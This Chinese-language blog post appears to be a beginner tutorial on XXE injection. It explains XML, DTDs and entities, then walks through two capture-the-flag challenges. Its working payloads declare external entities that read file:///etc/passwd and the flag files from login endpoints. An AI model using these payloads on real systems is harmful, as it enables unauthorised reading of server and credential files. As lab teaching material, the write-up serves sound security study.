目录
首先,我们先来初步了解一下什么是xxe
1、定义
XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。而学习XXE要从认识XML开始。 |
2、什么是xml
XML 指可扩展标记语言(EXtensible Markup Language)。 XML 的设计宗旨是传输数据,而不是显示数据。 XML 是 W3C 的推荐标准。 XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。 XML 语言没有预定义的标签。 |
3、xml的基本格式和语法
基本格式
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!--xml文件的声明--> <bookstore> <!--根元素--> <book category="COOKING"> <!--bookstore的子元素,category为属性--> <title>Everyday Italian</title> <!--book的子元素,lang为属性--> <author>Giada De Laurentiis</author> <!--book的子元素--> <year>2005</year> <!--book的子元素--> <price>30.00</price> <!--book的子元素--> </book> <!--book的结束--> </bookstore> <!--bookstore的结束--> |
基本语法
|
xml格式规范-DTD
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。 |
内部的 DOCTYPE 声明
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE 根元素 [元素声明]>
外部文档声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD的作用:
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
您还可以使用 DTD 来验证您自身的数据。
实体
实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体类别
实体按类型主要分为以下四种:
内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)
实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。
完整的实体类别可参考 DTD - Entities
参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。
内部实体:
<!ENTITY 实体名称 "实体的值">
外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
参数实体:
<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">
实例演示:除参数实体外实体+内部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [<!ENTITY name "nMask">
]>
<foo><value>&name;</value> </foo>
实例演示:参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd"> %name;]>
注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。
由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。
外部实体
外部实体即在DTD中使用
<!ENTITY 实体名称 SYSTEM "URI">
语法引用外部的实体,而非内部实体,那么URL中能写外部实体主要的有file、http、https、ftp等等
下面来看两个实例:
合天网安实验室-simplexxe
进入实验机之后访问目标ip,进入到一个登录框,进行登录然后抓包
可以看到content-type部分是个存在xxe的标志,根据所学知识,直接尝试payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>
进行读取etc下的passwd文件
成功回显,根据提示,查看源码
看到flag在/opt/flag2.txt中,直接尝试进行读取
得到flag
buuctf-fake cookbook
这一题其实和上一题差不多,还是一样,典型的登录框 ,进行抓包
可以看到content-type中有xml存在,直接进行payload读取etc下的passwd,看看是否正常回显
能正常回显,说明不存在过滤。这一题和上一题的区别就在于没告诉我们flag所在的位置,那我们就尝试直接读取flag
payload:<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
直接得到flag。
两道入门xxe的题目,非常基础,大佬请忽略。buu上还有一道xee的题目,比较有意思,但我这里探测不出存活的主机,我也不懂什么情况,等我弄明白了再发出来。